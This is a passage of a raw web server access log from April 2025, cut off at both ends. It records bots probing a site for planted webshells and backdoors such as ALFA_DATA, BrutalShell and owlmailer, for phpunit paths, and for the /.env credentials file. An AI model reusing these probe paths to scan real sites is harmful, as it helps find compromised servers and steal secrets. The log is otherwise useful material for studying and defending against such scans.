/ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:42 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:42 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:42 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:43 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:43 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:43 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:44 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:44 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:44 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:44 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:45 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:45 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:45 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:45 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:46 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:46 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:46 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:46 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:47 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:47 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:47 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:48 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:48 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:48 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:48 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:49 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:49 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:49 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:49 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:50 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:50 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:50 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:50 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:51 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 154.16.192.74 - - [27/Apr/2025:05:06:50 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:13:48 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:48 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:48 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:48 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:48 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:49 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:13:49 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:13:49 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:49 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:49 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:50 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:50 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:50 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:50 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:50 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:13:51 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:13:51 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:51 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:13:51 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:13:52 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:52 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 87.249.133.79 - - [27/Apr/2025:05:13:52 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:13:52 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:52 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 87.249.133.79 - - [27/Apr/2025:05:13:53 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:13:53 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 87.249.133.79 - - [27/Apr/2025:05:13:53 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 87.249.133.79 - - [27/Apr/2025:05:13:53 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:13:53 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:54 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:54 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:54 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:54 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:55 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:13:55 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:55 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:55 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 87.249.133.79 - - [27/Apr/2025:05:13:55 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:56 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 87.249.133.79 - - [27/Apr/2025:05:13:56 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:56 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:56 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:56 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:57 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:13:57 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:13:57 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:57 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:57 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:13:58 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:58 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:13:58 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:58 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:13:58 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:13:59 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:13:59 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:13:59 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:13:59 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:00 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:00 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:00 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:00 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:00 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:01 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:01 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:01 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:01 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:01 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:02 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:02 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:02 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:14:02 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:02 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:03 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:03 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:03 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:03 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:04 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:04 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:04 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:04 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:04 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:05 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:05 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:05 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:05 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:14:05 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 87.249.133.79 - - [27/Apr/2025:05:14:06 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:06 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:06 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:06 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:06 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:07 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:07 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:07 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 87.249.133.79 - - [27/Apr/2025:05:14:07 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:07 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:08 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like 